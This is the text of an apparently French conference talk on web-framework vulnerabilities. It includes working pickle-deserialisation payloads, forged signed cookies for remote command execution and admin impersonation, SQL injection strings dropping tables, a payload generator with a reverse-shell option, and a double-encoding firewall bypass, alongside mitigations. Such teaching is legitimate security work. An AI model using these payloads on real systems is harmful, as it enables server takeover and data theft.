Post on 12-Jul-2020
Vulnérabilités des frameworks web
modernes
Nicolas Oberli – Security Engineer
Florent Batard – Security Engineer
1
2
Chapitres de la présentation› Vulnérabilités Known Secret
› Flask› Bottle› Django› Ruby On Rails
› Vulnérabilités YAML› Ruby On Rails› Symfony2
› Vulnérabilités routing › Symfony2 double encodage
3
Known SecretDescription du known secret
● Django● Bottle● Flask● Ruby On Rails
4
Known secret | Introduction
› La plupart des frameworks permettent de proté
ger les cookies de session contre la modification› Permet d'éviter de forger un cookie› Se base sur un secret partagé
› Exemple en Django
settings.py :
# Make this unique, and don't share it with anybody.SECRET_KEY = 'u+%s^63&)i3z0uu+-%z824xx8*_)935u+_#dcju^j&5!!3xnk@'
5
Known secret | Implémentation
› Cette valeur doit rester secrète et être unique
pour chaque instance
› Estce toujours le cas ?
6
7
Known secret | Fonctionnement
› Comment les données sontelles stockées dans
un cookie ?› Un exemple avec bottle
bottle.py :def set_cookie(self, name, value, secret=None, **options): if secret: value = touni(cookie_encode((name, value), secret)) elif not isinstance(value, basestring): raise TypeError('Secret key missing for non-string Cookie.')
bottle.py :def cookie_encode(data, key): ''' Encode and sign a pickle-able object. Return a (byte) string ''' msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac.new(tob(key), msg).digest()) return tob('!') + sig + tob('?') + msg
8
Known secret | Pickle ?
› « The pickle module implements a fundamental,
but powerful algorithm for serializing and deserializing a Python object structure. […] »
› Permet de sérialiser des objets en Python
In [1]: import pickle
In [2]: s="Hello"
In [3]: pickle.dumps(s)Out[3]: "S'Hello'\np0\n."
9
Known secret | Pickle | Fonctionne
ment› Les données sérialisées sont traitées par une
virtual machine interne à Pickle
› La VM se base sur une succession d'opérations sur une pile
› De nombreux opcodes sont disponibles pour appeler
d'autres fonctions de Python
>>> pickletools.dis("S'Hello'\np0\n.") 0: S STRING 'Hello' 9: p PUT 0 12: . STOP
10
Pickle | Exemple d'appel système>>> print subprocess.check_output(['cat','/etc/passwd'])root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/bin/falsedaemon:x:2:2:daemon:/sbin:/bin/false
>>> pickletools.dis("csubprocess\ncheck_output\n((S'cat'\nS'/etc/passwd'\nltR.") 0: c GLOBAL 'subprocess check_output' 25: ( MARK 26: ( MARK 27: S STRING 'cat' 34: S STRING '/etc/passwd' 49: l LIST (MARK at 26) 50: t TUPLE (MARK at 25) 51: R REDUCE 52: . STOP
>>> print pickle.loads("csubprocess\ncheck_output\n((S'cat'\nS'/etc/passwd'\nltR.")root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/bin/falsedaemon:x:2:2:daemon:/sbin:/bin/false
11
Known secret | Exemple
› Prenons l'application suivante :
from bottle import route, run, response, request
@route('/')def main(): value = request.get_cookie('account', secret='SecretK3y') return value
@route('/login')def do_login(): response.set_cookie('account','user', secret='SecretK3y')
run(host='0.0.0.0', port=8080, debug=True, reloader=True)
12
Known secret | Exemple | Cookie
› Bottle créé le cookie comme suit :
› Le cookie suivant est retourné au browser :
def cookie_encode(data, key): ''' Encode and sign a pickle-able object. Return a (byte) string ''' msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac.new(tob(key), msg).digest()) return tob('!') + sig + tob('?') + msg
!iOHrcSe+PHzVpBE1P2QgeQ==?gAJVB2FjY291bnRxAVgEAAAAdXNlcnEChnEDLg==
>>> 'gAJVB2FjY291bnRxAVgEAAAAdXNlcnEChnEDLg=='.decode('base64')'\x80\x02U\x07accountq\x01X\x04\x00\x00\x00userq\x02\x86q\x03.'
>>>pickle.loads('\x80\x02U\x07accountq\x01X\x04\x00\x00\x00userq\x02\x86q\x03.')('account', u'user')
13
Known secret | Exemple | Modification
› En modifiant le cookie et en signant à nouveau
les données, il est alors possible d'exécuter des commandes sur le serveur :
>>> import hmac, base64>>> payload = "(S'account'\ncsubprocess\ncheck_output\n((S'cat'\nS'/etc/passwd'\nltRt.">>> msg = base64.b64encode(payload)>>> sig = base64.b64encode(hmac.new('$ecretK3y', msg).digest())>>> print '!'+sig+'?'+msg!U8ZWFOPdVLnRe4VoSLJ0kw==?KFMnYWNjb3VudCcKY3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CigoUydjYXQn-ClMnL2V0Yy9wYXNzd2QnCmx0UnQu
14
Known secret | Exemple | Demo
› Épreuve proposée lors d'Insomni'hack 2013› But : Trouver le flag se trouvant dans /etc/motd› Application Bottle vulnérable› Une seul équipe a exploité cette vulnérabilité
15
Known secret | Application
› Plusieurs frameworks sont vulnérables› Bottle› Flask› Django
16
Known secret | Automatisation
› Présentation de PPPP› Python Problematic Pickle Printer› Permet de créer des Pickles malicieux› Encode directement les Pickles sous forme de cookies
pour les principaux frameworks Python
17
Known secret | Automatisation | Exemple$ python pppp.py -h usage: pppp.py [-h] [-o {django,werkzeug,bottle,raw}] [-k SECRET_KEY] -p {connect_back,read_file,command_exec} -a ARGUMENT [-n VAR_NAME] [-m HASH_TYPE]
Generates harmful pickles for various uses (and fun)
optional arguments: -h, --help show this help message and exit -o {django,werkzeug,bottle,raw}, --output {django,werkzeug,bottle,raw} Pickle output format -k SECRET_KEY, --key SECRET_KEY Application's secret key -p {connect_back,read_file,command_exec}, --payload {connect_back,read_file,command_exec} Payload type -a ARGUMENT, --argument ARGUMENT Payload's argument -n VAR_NAME, --name VAR_NAME Var name for the pickled payload -m HASH_TYPE, --mac HASH_TYPE (Werkzeug only) specify the hash type
18
Known secret | Automatisation | Demo
› Génération de pickles› Exploitation› Shell distant
19
Known secret | Documentation
› Actuellement, seul Django met clairement en
garde contre la divulgation de la clé secrète› Werkzeug (Flask) l'indique uniquement dans la
documentation› Bottle indique uniquement que la clé sert à pré
venir la manipulation des cookies
20
Known secret | Remédiation› Django
› Se passer de secure_cookies
› Flask / Werkzeug› La classe SecureCookie peut changer de méthode de
sérialisation› par exemple JSON
› Rien n'est documenté pour Bottle
import jsonfrom werkzeug.contrib.securecookie import SecureCookie
class JSONSecureCookie(SecureCookie): serialization_method = json
21
Known Secret | Ruby On Rails› Faille ActiveRecord
› Le problème vient des dynamic finders› find_by_col(params[:toto])
› Toutes les versions de Ruby sont affectées› Cela ne remet pas en cause la sanitation des requêtes
SQL dans Rails
› Pour exploiter cette vulnérabilité on doit :› Avoir AuthLogic activé pour l'authentification
› Connaître le secret session token
22
Known Secret | Ruby On Rails
› Description de la faille› Rails donne accès a des « finder dynamiques » pour
chercher dans les tables liées dans ActiveRecord› User.find_by_name(params[:id])
› ActiveRecord protège ces arguments des SQL injec
tions :› User.find_by_name(''scrt' ; DROP TABLE USERS ; – '')› # => SELECT * FROM users WHERE name = 'scrt\'; DROP TABLE
USERS; ' LIMIT 1
23
Known Secret | Ruby On Rails› Description de la faille
› Cependant ActiveRecord autorise de paramétrer les
requêtes du finder dynamique :› User.find_by_name("scrt", :select => "id, name")› # => SELECT id, name FROM users WHERE name = 'scrt' LIMIT 1
› Ces paramètres sont alors injectables :› User.find_by_name("kotori", :select => "id, name FROM users; DROP
TABLE users; –")› # => SELECT id, name FROM users; DROP TABLE users; FROM users
WHERE name = 'kotori' LIMIT 1
24
Known Secret | Ruby On Rails› Description de la faille
› Le second paramètre est rarement utilisé mais la
commande suivante est largement utilisé :› User.find_by_name(params[:name])
› Il faut alors passer par un subterfuge pour créer un ta
bleau à partir des arguments :› /vulnurl?name[select]=nimp&name[limit]=23
› On a alors créer un hash {''select''=>''nimp, ''limit'' => 23}
› Mais cela ne marche pas car on vient de créer des strings
et non pas des symboles au sens Ruby
25
Known Secret | Ruby On Rails› Seules les requêtes avec un hash ou bien une
string pourront être impactée.› Ça tombe bien Authlogic utilise cette méthode
pour mettre un token› User.find_by_persistence_token(the_token)
› Il nous reste a forger un token de la forme :› { "session_id" => "1111111",
"user_credentials"=>"Admin",
"user_credentials_id"=> SQL INJECTION}
Problème Le cookie est signé avec un SHA1HMAC→
26
Known Secret | Ruby On Rails› Comment trouver le secret_token pour signer notre cookie ?
27
Known Secret | Ruby On Rails› Cookie final pour se faire passer pour n'importe quel utilisateur :
{
"session_id" => "41414141",
"user_credentials"=>"Admin",
"user_credentials_id"=>{
:select=> " *,\"Admin\" as persistence_token from Users "
}
}
Et signé avec le secret_token obtenu !
28
Known Secret | Ruby On Rails› Mitigation
› Déployer le patch correctif pour Rails
› Vérifier que vous passez bien que des strings dans les finder dy
namiques
› find_by_name(params[:name].to_s)
› NE DIFFUSER PAS VOTRE SECRET_TOKEN !
› Ressources sur les cookies :› https://github.com/joernchen/evil_stuff/blob/master/ruby/signcookie.rb
› http://blog.phishme.com/wpcontent/uploads/BustRailsCookie.rb
› Exploits Metasploit :
› exploit/multi/http/rails_json_yaml_code_exec
› exploit/multi/http/rails_xml_yaml_code_exec
29
Faille YAMLDescription de la faille YAML
● Ruby On Rails● Symfony2
30
Faille YAML | Ruby On Rails
› Ruby On Rails est capable de parser des argu
ments dans différents formats.› On pourrait par exemple mettre :› POST / ContentType : application/xml<?xml version="1.0" encoding="UTF-8"?><hash>
<foo type="integer">1</foo><bar type="float">1.3</bar>
</hash>
31
Faille YAML | Ruby On Rails› La prise en charge de ces paramètres est gérée
par : ActiveSupport::XmlMini::PARSING› Malheureusement il ne gère pas que des types
simples mais aussi des type très importants dans
ruby :› Type : symbol (constantes internes le plus souvent)› Type : yaml (langage utilisé pour les configurations)- !ruby/object:Person name: John Doe sname: jdoe email: jdoe@gmail.com- !ruby/object:Person name: Jane Doe sname: jdoe email: jane@hotmail.com
32
Faille YAML | Ruby On Rails› Comment exploiter ces possibilités ?
› Nous pouvons invoquer n'importe quelle classe interne› Nous pouvons instancier des objets› Il ne nous reste plus qu'à injecter la payload
› Façon Metasploit : Autre façon :
--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
!ruby/object:OpenStruct
arel = Arel::Nodes::SqlLiteral.new("foo")Blog.find_by_id(arel)
33
Faille YAML | Ruby On Rails› La même faille s'applique au parser JSON
› Mitigation› Le patch est disponible pour Rails › Modifier
ActionDispatch::ParameterParser::DEFAULT_PARSERS
pour désactiver si non nécessaire
34
Faille YAML | Symfony2› Le parser YAML embarqué a Symfony2 est évalué
comme du PHP avant d'être parsé en YAML›
› Le parser YAML peut parser et dumper des objets PHP avec la notation :
› !!php/object:
› Ces failles ne sont exploitables qu'avec la méthode :› Yaml::parse($filename);
35
Faille Double EncodingDescription de la faille Double Encoding
● Symfony2
36
Faille Double Encoding | Symfony2
37
Faille Double Encoding | Symfony2› Pour récupérer le path les composants utilisent
getPathInfo()› Composant Routing décode deux fois le path› Composant Security décode UNE seule fois le path
Firewall Symfony : security.ymlsecured_area: pattern: ^/foo/ form_login: check_path: /foo/login_check login_path: /foo/login
Définition des controllers/** * @Route("/foo") */
38
Faille Double Encoding | Symfony2› Démo Time
› Encodage simple : /%66oo› Encodage double : /%2566oo correspond à une
route mais pas aux règles firewall
39
Faille Double Encoding | Symfony2› Mitigation
› Mise à jour de Symfony› Retoucher a la main la gestion d'encodage des
routes
40
Conclusion› Les frameworks web ne sont pas la panacée
› Une connaissance interne ou suivi de la sécurité est nécessaire
› Vérifier les vulnérabilités régulièrement et mettre à jour si besoin
41
Merci !› Merci pour votre attention !
› florent@scrt.ch› nicolas@scrt.ch